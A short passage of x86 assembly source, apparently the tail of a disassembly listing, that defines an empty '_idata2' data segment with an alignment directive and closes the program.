_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 51B000h
align 2000h
_idata2 ends
end start